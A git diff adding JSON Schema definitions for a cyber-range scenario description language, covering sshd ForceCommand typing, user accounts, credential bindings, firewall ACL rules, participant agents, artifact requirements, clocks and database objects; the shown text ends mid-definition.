"pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "command_kind" + ] + }, + "then": { + "not": { + "properties": { + "command": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "command" + ] + } + } + } + ], "description": "A typed sshd ``ForceCommand`` configuration.\n\nThe ``command_kind`` discriminates how ``command`` is interpreted:\n\n- ``absolute_path``: a concrete executable path (or ``${var}``) starting\n with ``/``. Validated via ``absolute_path_or_var``.\n- ``internal_sftp``: the sshd-internal sftp subsystem; ``command`` must\n equal the literal ``\"internal-sftp\"``.\n- ``redacted``: the underlying command is withheld from the SDL model\n because it carries secrets, session identifiers, or operator-only\n arguments; ``command`` must be empty and ``command_redacted`` must\n be true.", "properties": { "command": { @@ -30194,6 +31524,18 @@ "title": "Assertions", "type": "object" }, + "augmentation_scope": { + "anyOf": [ + { + "$ref": "#/$defs/AugmentationScopePolicy" + }, + { + "type": "null" + } + ], + "default": null, + "x-raes-realization-dimension": false + }, "behavior_specifications": { "additionalProperties": { "$ref": "#/$defs/ParticipantBehaviorSpecification" @@ -30814,6 +32156,18 @@ ], "level": "error", "validator": "raes.validator.SemanticValidator._verify_service_materialization" + }, + { + "description": "Explicit temporal bindings must resolve the action's shared clock, constraint and selected event. Dwell conditions require authorized observation boundaries and observable support and evidence. Numeric parameters are revalidated after binding.", + "id": "participant-shared-time-source-bindings", + "inputs": [ + { + "contract_id": "instantiated-scenario-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes.semantics.participant_temporal_bindings.participant_temporal_binding_errors" } ], "x-raes-semantic-profile": { diff --git a/contracts/schemas/sdl/materialized-scenario-v1.json b/contracts/schemas/sdl/materialized-scenario-v1.json new file mode 100644 index 000000000..5ba1b4cdb --- /dev/null +++ b/contracts/schemas/sdl/materialized-scenario-v1.json @@ -0,0 +1,777 @@ +{ + "$defs": { + "ACLAction": {"description":"Firewall rule action.","enum":["allow","deny"],"title":"ACLAction","type":"string"}, + "ACLRule": {"additionalProperties":false,"description":"A network access control rule on an infrastructure node.\n\nAdapted from CybORG's subnet NACL model. Specifies directional\ntraffic rules between network segments.","properties":{"action":{"anyOf":[{"$ref":"#/$defs/ACLAction"},{"$ref":"#/$defs/_r185"}],"default":"allow","title":"Action"},"description":{"$ref":"#/$defs/_r53"},"direction":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Direction","type":"string"},"from_net":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"From Net","type":"string"},"name":{"$ref":"#/$defs/_r21"},"ports":{"items":{"$ref":"#/$defs/_r44"},"title":"Ports","type":"array"},"protocol":{"default":"any","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Protocol","type":"string"},"to_net":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"To Net","type":"string"}},"title":"ACLRule","type":"object"}, + "Account": {"additionalProperties":false,"description":"A user account on a scenario node.\n\nDistinct from OCR's ``Role`` model: roles map exercise participants\nto compute-node logins for exercise access. Accounts describe the environment\nstate \u2014 what accounts attackers will encounter or exploit.","properties":{"auth_method":{"anyOf":[{"$ref":"#/$defs/AccountAuthenticationMethod"},{"$ref":"#/$defs/_r165"}],"default":"password","title":"Auth Method"},"credential_bindings":{"items":{"$ref":"#/$defs/AccountCredentialBinding"},"title":"Credential Bindings","type":"array"},"description":{"$ref":"#/$defs/_r53"},"disabled":{"$ref":"#/$defs/_r33"},"domain_ref":{"$ref":"#/$defs/_r57"},"groups":{"$ref":"#/$defs/_r120"},"home":{"$ref":"#/$defs/_r60"},"mail":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Mail","type":"string"},"materialization_profile":{"anyOf":[{"$ref":"#/$defs/DomainProfileBindingModel"},{"type":"null"}],"default":null},"node":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Node","type":"string"},"password_strength":{"anyOf":[{"$ref":"#/$defs/PasswordStrength"},{"$ref":"#/$defs/_r185"}],"default":"medium","title":"Password Strength"},"shell":{"$ref":"#/$defs/_r72"},"spn":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Spn","type":"string"},"username":{"$ref":"#/$defs/_r183"}},"required":["username"],"title":"Account","type":"object"}, + "AccountAuthenticationMethod": {"description":"Portable authentication methods shared by account posture and bindings.","enum":["password","key","certificate"],"title":"AccountAuthenticationMethod","type":"string"}, + "AccountCredentialBinding": {"additionalProperties":false,"description":"One credential bound unambiguously to its owning account by nesting.","properties":{"auth_method":{"anyOf":[{"$ref":"#/$defs/AccountAuthenticationMethod"},{"$ref":"#/$defs/_r165"}],"title":"Auth Method"},"credential_id":{"allOf":[{"$ref":"#/$defs/_r186"}],"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"},"pattern":"^[a-z0-9]","title":"Credential Id","type":"string"},"material":{"discriminator":{"mapping":{"operator_secret":"#/$defs/OperatorSecretCredentialMaterial","secret_fixture":"#/$defs/SecretFixtureCredentialMaterial"},"propertyName":"classification"},"oneOf":[{"$ref":"#/$defs/SecretFixtureCredentialMaterial"},{"$ref":"#/$defs/OperatorSecretCredentialMaterial"}],"title":"Material"},"purpose":{"anyOf":[{"$ref":"#/$defs/AccountCredentialPurpose"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:primary_authentication|administrative_authentication|primary-authentication|administrative-authentication|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$","type":"string"}],"title":"Purpose"}},"required":["credential_id","purpose","auth_method","material"],"title":"AccountCredentialBinding","type":"object"}, + "AccountCredentialPurpose": {"description":"Governed purposes for portable account credential bindings.","enum":["primary_authentication","administrative_authentication"],"title":"AccountCredentialPurpose","type":"string"}, + "Agent": {"additionalProperties":false,"description":"A role-neutral participant in the scenario.\n\nAgents reference existing scenario elements:\n\n- ``affiliations`` links to entities without conferring identity or authority\n- ``role`` explicitly selects an exercise role, overriding inherited role\n- ``starting_accounts`` links to the accounts section\n- ``allowed_subnets`` links to infrastructure entries\n- ``initial_knowledge`` references nodes and infrastructure\n- ``starting_assertions`` links to precondition assertions, giving the\n authoring surface a declarative hook for participant-relevant starting\n state without equating a probe implementation with truth (ACT-601)\n- ``authority_anchors`` links to declared SDL elements (entities,\n relationships, content, etc.) that anchor what the participant is\n allowed or expected to do in scenario meaning (ACT-601, ADR-020)\n- ``operating_scope`` links to targetable named scenario elements\n (subnets, hosts, services, content) defining where the participant\n may act or observe (ACT-601, ADR-020)\n- ``observation_boundaries`` links to declared participant observation\n boundaries that define participant-specific projections of world and\n evidence state (SEM-208)\n- ``interactive_access`` declares the compute-node/channel pairs that may be offered\n to this participant, without inferring a listener, locator, credential,\n operating scope, action authority, or successful realization (DSL-117)\n\nPer ADR-073 the CybORG-inherited ``reward_calculator`` label was removed;\nit was an unbound, unvalidated string and graded reward lives in the\nexperiment/evaluator plane (ADR-055/064/069).","properties":{"actions":{"$ref":"#/$defs/_r98"},"affiliations":{"items":{"$ref":"#/$defs/_r185"},"title":"Affiliations","type":"array"},"allowed_subnets":{"items":{"$ref":"#/$defs/_r185"},"title":"Allowed Subnets","type":"array"},"authority_anchors":{"items":{"$ref":"#/$defs/_r185"},"title":"Authority Anchors","type":"array"},"description":{"$ref":"#/$defs/_r53"},"initial_knowledge":{"anyOf":[{"$ref":"#/$defs/InitialKnowledge"},{"type":"null"}],"default":null},"interactive_access":{"additionalProperties":false,"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/ParticipantInteractiveAccess"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Interactive Access","type":"object"},"observation_boundaries":{"items":{"$ref":"#/$defs/_r185"},"title":"Observation Boundaries","type":"array"},"operating_scope":{"items":{"$ref":"#/$defs/_r185"},"title":"Operating Scope","type":"array"},"role":{"anyOf":[{"$ref":"#/$defs/ExerciseRole"},{"type":"null"}],"default":null,"title":"Role"},"starting_accounts":{"items":{"$ref":"#/$defs/_r185"},"title":"Starting Accounts","type":"array"},"starting_assertions":{"items":{"$ref":"#/$defs/_r185"},"title":"Starting Assertions","type":"array"}},"title":"Agent","type":"object"}, + "ArtifactCandidate": {"additionalProperties":false,"description":"One immutable candidate explicitly admitted by the author.","properties":{"artifact":{"$ref":"#/$defs/ArtifactIdentity"},"candidate_id":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-zA-Z0-9][a-zA-Z0-9._:/@+-]*$","title":"Candidate Id","type":"string"}},"required":["candidate_id","artifact"],"title":"ArtifactCandidate","type":"object"}, + "ArtifactConstraint": {"additionalProperties":false,"description":"One typed, named bound on a constrained artifact selection.","properties":{"allowed_values":{"items":{"$ref":"#/$defs/_r130"},"minItems":1,"title":"Allowed Values","type":"array"},"constraint_id":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-zA-Z0-9][a-zA-Z0-9._:/@+-]*$","title":"Constraint Id","type":"string"},"kind":{"maxLength":128,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-zA-Z0-9][a-zA-Z0-9._:/@+-]*$","title":"Kind","type":"string"}},"required":["constraint_id","kind","allowed_values"],"title":"ArtifactConstraint","type":"object"}, + "ArtifactIdentity": {"additionalProperties":false,"description":"Immutable provider-neutral identity for one artifact payload.","properties":{"artifact_id":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-zA-Z0-9][a-zA-Z0-9._:/@+-]*$","title":"Artifact Id","type":"string"},"digest":{"$ref":"#/$defs/_r166"},"media_type":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Media Type","type":"string"},"version":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Version","type":"string"}},"required":["artifact_id","version","digest","media_type"],"title":"ArtifactIdentity","type":"object"}, + "ArtifactLockedInput": {"additionalProperties":false,"description":"One immutable materialization input joined to existing trust contracts.","properties":{"artifact":{"$ref":"#/$defs/ArtifactIdentity"},"associated_artifact_manifest_ref":{"maxLength":1024,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Associated Artifact Manifest Ref","type":"string"},"input_id":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-zA-Z0-9][a-zA-Z0-9._:/@+-]*$","title":"Input Id","type":"string"},"trust_policy_ref":{"maxLength":1024,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Trust Policy Ref","type":"string"}},"required":["input_id","artifact","associated_artifact_manifest_ref","trust_policy_ref"],"title":"ArtifactLockedInput","type":"object"}, + "ArtifactMaterializationSpecification": {"additionalProperties":false,"allOf":[{"properties":{"profile":{"allOf":[{"properties":{"mechanism":{"anyOf":[{"const":"materialization-specification"},{"pattern":"^x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*$"}]}},"required":["mechanism"]}]}}}],"description":"Reference to a closed executable materialization profile.\n\nThis is a digest-bound specification reference, not shell text, a\nDockerfile, an environment map, or a reinterpretation of ``Source.build``.","properties":{"digest":{"$ref":"#/$defs/_r166"},"locked_input_ids":{"items":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-zA-Z0-9][a-zA-Z0-9._:/@+-]*$","type":"string"},"title":"Locked Input Ids","type":"array","uniqueItems":true},"profile":{"$ref":"#/$defs/ArtifactMechanismProfile"},"specification_id":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-zA-Z0-9][a-zA-Z0-9._:/@+-]*$","title":"Specification Id","type":"string"}},"required":["specification_id","profile","digest"],"title":"ArtifactMaterializationSpecification","type":"object"}, + "ArtifactMechanismProfile": {"additionalProperties":false,"description":"Versioned portable mechanism profile.\n\nPortable mechanisms use the governed base names above or a namespaced\n``x-:`` extension. The profile digest binds the exact\nmechanism contract without making the mechanism set a closed union.","properties":{"digest":{"$ref":"#/$defs/_r166"},"mechanism":{"anyOf":[{"enum":["backend-owned-artifact","dynamic-composition","exact-artifact","materialization-specification","published-candidate"]},{"pattern":"^x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*$"}],"maxLength":128,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Mechanism","type":"string"},"profile":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-zA-Z0-9][a-zA-Z0-9._:/@+-]*$","title":"Profile","type":"string"},"version":{"maxLength":128,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Version","type":"string"}},"required":["mechanism","profile","version","digest"],"title":"ArtifactMechanismProfile","type":"object"}, + "ArtifactRequirement": {"additionalProperties":false,"allOf":[{"if":{"properties":{"explicitness":{"const":"exact"}},"required":["explicitness"]},"then":{"properties":{"candidates":{"maxItems":0},"constraints":{"maxItems":0},"exact_artifact":{"not":{"type":"null"}},"locked_inputs":{"maxItems":0},"materialization_specifications":{"maxItems":0},"permitted_routes":{"items":{"properties":{"mechanism":{"properties":{"mechanism":{"const":"exact-artifact"}}}}}}},"required":["exact_artifact"]}},{"if":{"properties":{"explicitness":{"const":"constrained"}},"required":["explicitness"]},"then":{"anyOf":[{"properties":{"constraints":{"minItems":1}},"required":["constraints"]},{"properties":{"candidates":{"minItems":1}},"required":["candidates"]},{"properties":{"locked_inputs":{"minItems":1}},"required":["locked_inputs"]},{"properties":{"materialization_specifications":{"minItems":1}},"required":["materialization_specifications"]}],"properties":{"exact_artifact":{"type":"null"}}}},{"if":{"properties":{"explicitness":{"const":"open"}},"required":["explicitness"]},"then":{"properties":{"candidates":{"maxItems":0},"constraints":{"maxItems":0},"exact_artifact":{"type":"null"},"materialization_specifications":{"maxItems":0}}}}],"description":"Author-owned artifact requirement attached to a ``Source`` selector.","properties":{"associated_artifact_manifest_refs":{"items":{"$ref":"#/$defs/_r130"},"title":"Associated Artifact Manifest Refs","type":"array","uniqueItems":true},"candidates":{"items":{"$ref":"#/$defs/ArtifactCandidate"},"title":"Candidates","type":"array","uniqueItems":true},"constraints":{"items":{"$ref":"#/$defs/ArtifactConstraint"},"title":"Constraints","type":"array","uniqueItems":true},"exact_artifact":{"anyOf":[{"$ref":"#/$defs/ArtifactIdentity"},{"type":"null"}],"default":null},"explicitness":{"$ref":"#/$defs/ExplicitnessClass"},"locked_inputs":{"items":{"$ref":"#/$defs/ArtifactLockedInput"},"title":"Locked Inputs","type":"array","uniqueItems":true},"materialization_specifications":{"items":{"$ref":"#/$defs/ArtifactMaterializationSpecification"},"title":"Materialization Specifications","type":"array","uniqueItems":true},"permitted_routes":{"items":{"$ref":"#/$defs/ArtifactSatisfactionRoute"},"minItems":1,"title":"Permitted Routes","type":"array","uniqueItems":true},"requirement_id":{"maxLength":256,"minLength":1,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^[a-zA-Z0-9][a-zA-Z0-9._:/@+-]*$","title":"Requirement Id","type":"string"},"trust_policy_refs":{"items":{"$ref":"#/$defs/_r130"},"title":"Trust Policy Refs","type":"array","uniqueItems":true}},"required":["requirement_id","explicitness","permitted_routes"],"title":"ArtifactRequirement","type":"object"}, + "ArtifactSatisfactionRoute": {"additionalProperties":false,"description":"One permitted mechanism/acquisition/timing combination.","properties":{"acquisition":{"enum":["pull","copy","import","local-lookup","none"],"title":"Acquisition","type":"string"},"mechanism":{"$ref":"#/$defs/ArtifactMechanismProfile"},"timing":{"enum":["publication","pack-ingestion","backend-preparation","realization"],"title":"Timing","type":"string"}},"required":["mechanism","acquisition","timing"],"title":"ArtifactSatisfactionRoute","type":"object"}, + "Assertion": {"additionalProperties":false,"description":"A typed use of one proposition at a governed semantic boundary.","properties":{"description":{"$ref":"#/$defs/_r53"},"polarity":{"$ref":"#/$defs/AssertionPolarity","default":"positive"},"proposition":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Proposition","type":"string"},"role":{"$ref":"#/$defs/AssertionRole"}},"required":["proposition","role"],"title":"Assertion","type":"object"}, + "AssertionPolarity": {"description":"Expected polarity of the referenced proposition.","enum":["positive","negative"],"title":"AssertionPolarity","type":"string"}, + "AssertionRole": {"description":"Boundary at which an assertion constrains its owning construct.","enum":["precondition","invariant","postcondition"],"title":"AssertionRole","type":"string"}, + "AssetValue": {"additionalProperties":false,"description":"CIA triad asset valuation for scoring and risk assessment.","properties":{"availability":{"anyOf":[{"$ref":"#/$defs/AssetValueLevel"},{"$ref":"#/$defs/_r185"}],"default":"medium","title":"Availability"},"confidentiality":{"anyOf":[{"$ref":"#/$defs/AssetValueLevel"},{"$ref":"#/$defs/_r185"}],"default":"medium","title":"Confidentiality"},"integrity":{"anyOf":[{"$ref":"#/$defs/AssetValueLevel"},{"$ref":"#/$defs/_r185"}],"default":"medium","title":"Integrity"}},"title":"AssetValue","type":"object"}, + "AssetValueLevel": {"description":"CIA triad value level. Adapted from CybORG ConfidentialityValue.","enum":["none","low","medium","high","critical"],"title":"AssetValueLevel","type":"string"}, + "AugmentationScopePolicy": {"additionalProperties":false,"description":"Authors opt into restrictions; omission imposes no new authoring burden.","properties":{"default":{"default":"open","enum":["open","closed"],"title":"Default","type":"string"},"scopes":{"default":[],"items":{"$ref":"#/$defs/AugmentationScopeRule"},"maxItems":256,"title":"Scopes","type":"array"}},"title":"AugmentationScopePolicy","type":"object"}, + "AugmentationScopeRule": {"additionalProperties":false,"description":"One explicit node or concern permission, using a semantic address.","properties":{"namespace":{"default":[],"items":{"maxLength":64,"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)$","type":"string"},"maxItems":31,"title":"Namespace","type":"array"},"permission":{"enum":["open","closed"],"title":"Permission","type":"string"},"scope":{"$ref":"#/$defs/_r134"}},"required":["scope","permission"],"title":"AugmentationScopeRule","type":"object"}, + "BehaviorSpecificationExtensionValue": {"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"integer"},{"type":"number"},{"type":"boolean"},{"items":{"$ref":"#/$defs/BehaviorSpecificationExtensionValue"},"type":"array"},{"additionalProperties":{"$ref":"#/$defs/BehaviorSpecificationExtensionValue"},"type":"object"},{"type":"null"}]}, + "BooleanPredicate": {"additionalProperties":false,"description":"Compare a governed Boolean property with an expected Boolean.","properties":{"expected":{"title":"Expected","type":"boolean"},"kind":{"const":"boolean","default":"boolean","title":"Kind","type":"string"},"operator":{"default":"equals","enum":["equals","not_equals"],"title":"Operator","type":"string"},"property":{"$ref":"#/$defs/_r136"},"semantic_ref":{"$ref":"#/$defs/_r132"}},"required":["property","semantic_ref","expected"],"title":"BooleanPredicate","type":"object"}, + "Clock": {"additionalProperties":false,"description":"Authored clock authority over one time domain.","properties":{"authority_kind":{"$ref":"#/$defs/ClockAuthorityKind"},"authority_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Authority Ref","type":"string"},"description":{"$ref":"#/$defs/_r170"},"monotonicity":{"$ref":"#/$defs/ClockMonotonicity"},"supports_jump":{"default":false,"title":"Supports Jump","type":"boolean"},"supports_pause":{"default":false,"title":"Supports Pause","type":"boolean"},"supports_reset":{"default":false,"title":"Supports Reset","type":"boolean"},"time_domain_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Time Domain Ref","type":"string"}},"required":["time_domain_ref","authority_kind","authority_ref","monotonicity","description"],"title":"Clock","type":"object"}, + "ClockAuthorityKind": {"description":"Plane that owns authoritative clock values.","enum":["runtime","backend","system","external"],"title":"ClockAuthorityKind","type":"string"}, + "ClockMonotonicity": {"description":"Allowed direction of authoritative clock movement.","enum":["strict","non_decreasing","may_jump"],"title":"ClockMonotonicity","type":"string"}, + "Condition": {"additionalProperties":false,"description":"A probe implementation deployed to a compute node.\n\nEither ``command`` + ``interval`` or ``source`` must be set, not both.","properties":{"command":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Command"},"description":{"$ref":"#/$defs/_r53"},"environment":{"$ref":"#/$defs/_r116"},"interval":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Interval"},"name":{"$ref":"#/$defs/_r64"},"proposition":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Proposition","type":"string"},"retries":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Retries"},"source":{"anyOf":[{"$ref":"#/$defs/Source"},{"type":"null"}],"default":null},"start_period":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Start Period"},"timeout":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Timeout"}},"title":"Condition","type":"object"}, + "ConsumerAccessMode": {"enum":["read_only","read_write"],"title":"ConsumerAccessMode","type":"string"}, + "ContainerImageBuildProvenance": {"additionalProperties":false,"description":"Observed build/provenance facts for a custom container image artifact.","properties":{"attestation":{"anyOf":[{"$ref":"#/$defs/ImageAttestation"},{"type":"null"}],"default":null},"base_image":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Base Image","type":"string"},"base_image_digest":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Base Image Digest","type":"string"},"build_args":{"items":{"$ref":"#/$defs/ImageBuildArg"},"title":"Build Args","type":"array"},"config":{"anyOf":[{"$ref":"#/$defs/ImageConfig"},{"type":"null"}],"default":null},"copied_sources":{"items":{"$ref":"#/$defs/ImageCopiedSource"},"title":"Copied Sources","type":"array"},"description":{"$ref":"#/$defs/_r53"},"dockerfile_path":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Dockerfile Path","type":"string"},"instructions":{"items":{"$ref":"#/$defs/DockerfileInstruction"},"title":"Instructions","type":"array"},"layers":{"items":{"$ref":"#/$defs/ImageLayer"},"title":"Layers","type":"array"},"source_inputs":{"items":{"$ref":"#/$defs/ImageSourceInput"},"title":"Source Inputs","type":"array"}},"title":"ContainerImageBuildProvenance","type":"object"}, + "Content": {"additionalProperties":false,"description":"Data or files placed into a scenario node.\n\nSupports three forms:\n\n- ``file``: A single file at a specific path, optionally with inline text.\n- ``dataset``: A collection of related items (emails, records, pcaps)\n delivered via a source package or listed as items.\n- ``directory``: A directory structure placed at a destination path.","properties":{"description":{"$ref":"#/$defs/_r53"},"destination":{"$ref":"#/$defs/_r54"},"format":{"$ref":"#/$defs/_r58"},"items":{"items":{"$ref":"#/$defs/ContentItem"},"title":"Items","type":"array"},"path":{"$ref":"#/$defs/_r65"},"sensitive":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"Sensitive"},"service_materialization":{"anyOf":[{"discriminator":{"mapping":{"service-content":"#/$defs/ServiceMaterialization","service-search-index-schema":"#/$defs/ServiceSearchIndexSchemaMaterialization"},"propertyName":"interface_profile"},"oneOf":[{"$ref":"#/$defs/ServiceMaterialization"},{"$ref":"#/$defs/ServiceSearchIndexSchemaMaterialization"}]},{"$ref":"#/$defs/DomainProfileBindingModel"},{"type":"null"}],"default":null,"title":"Service Materialization"},"source":{"anyOf":[{"$ref":"#/$defs/Source"},{"type":"null"}],"default":null},"tags":{"$ref":"#/$defs/_r128"},"target":{"$ref":"#/$defs/_r78"},"text":{"anyOf":[{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Text"},"text_from":{"$ref":"#/$defs/_r7"},"type":{"$ref":"#/$defs/ContentType"}},"required":["type"],"title":"Content","type":"object"}, + "ContentItem": {"additionalProperties":false,"description":"A single item within a dataset (e.g., one email, one record).","properties":{"description":{"$ref":"#/$defs/_r53"},"display_name":{"$ref":"#/$defs/_r56"},"name":{"$ref":"#/$defs/_r1"},"tags":{"$ref":"#/$defs/_r128"}},"required":["name"],"title":"ContentItem","type":"object"}, + "ContentType": {"description":"Kind of content placed into a system.","enum":["file","dataset","directory"],"title":"ContentType","type":"string"}, + "CrossTenantIsolation": {"description":"Default cell posture for access from another tenant.","enum":["default_deny"],"title":"CrossTenantIsolation","type":"string"}, + "Database": {"additionalProperties":false,"description":"An observed logical database within a database service.","properties":{"database_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r174"},"origin":{"$ref":"#/$defs/_r4"},"schemas":{"items":{"$ref":"#/$defs/DatabaseSchema"},"title":"Schemas","type":"array"}},"required":["database_id","name"],"title":"Database","type":"object"}, + "DatabaseAuthMethod": {"description":"How a client authenticates to a database on an access relationship.","enum":["password","md5","scram_sha_256","cert","trust","peer","ident","gssapi","sspi","ldap","radius","other","unknown"],"title":"DatabaseAuthMethod","type":"string"}, + "DatabaseEngine": {"description":"The database engine of an observed database service.","enum":["postgresql","mysql","mariadb","sqlite","mongodb","mssql","oracle","redis","other","unknown"],"title":"DatabaseEngine","type":"string"}, + "DatabaseGrant": {"additionalProperties":false,"description":"An observed privilege grant to a database role.\n\nThe grant is structured by grantee, target object, and privileges; raw\n``GRANT`` statements are not the portable model (ADR-029 \u00a74). ``object_ref``\nis the stable ``*_id`` of a database/schema/table in the same service.","properties":{"description":{"$ref":"#/$defs/_r53"},"grantee_role_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Grantee Role Ref","type":"string"},"object_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Object 